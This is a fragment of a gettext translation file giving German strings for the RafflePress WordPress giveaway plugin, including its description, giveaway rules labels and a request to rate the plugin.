msgid "Settings Updated" msgstr "Einstellungen aktualisiert" #. Description of the plugin msgid "RafflePress allows you to easily create giveaways, contests and rewards in WordPress" msgstr "Mit RafflePress kannst du auf einfache Weise Gewinnspiele, Wettbewerbe und Belohnungen in WordPress erstellen" #: resources/views/backend-translations.php:508 #: resources/views/frontend-translations.php:37 msgid "Giveaway Rules & Terms" msgstr "Gewinnspiel Regeln und Bedingungen" #: app/giveaway.php:260 app/giveaway.php:266 msgid "N/A" msgstr "n. a." #: app/functions-utils.php:251 resources/views/backend-translations.php:459 msgid "Select Time" msgstr "Uhrzeit wählen" #: app/bootstrap.php:326 msgid "Please rate <strong>RafflePress</strong> <a href=\"%1$s\" target=\"_blank\">★★★★★</a> on <a href=\"%2$s\" target=\"_blank\">WordPress.org</a> to help us spread the word. Thank you from the RafflePress team!" msgstr "Bitte bewerte <strong>RafflePress</strong> <a href=\"%1$s\" target=\"_blank\">★★★★★</a> auf <a href=\"%2$s\" target=\"_blank\">WordPress.org</a>, damit wir bekannter werden. Danke vom RafflePress-Team!"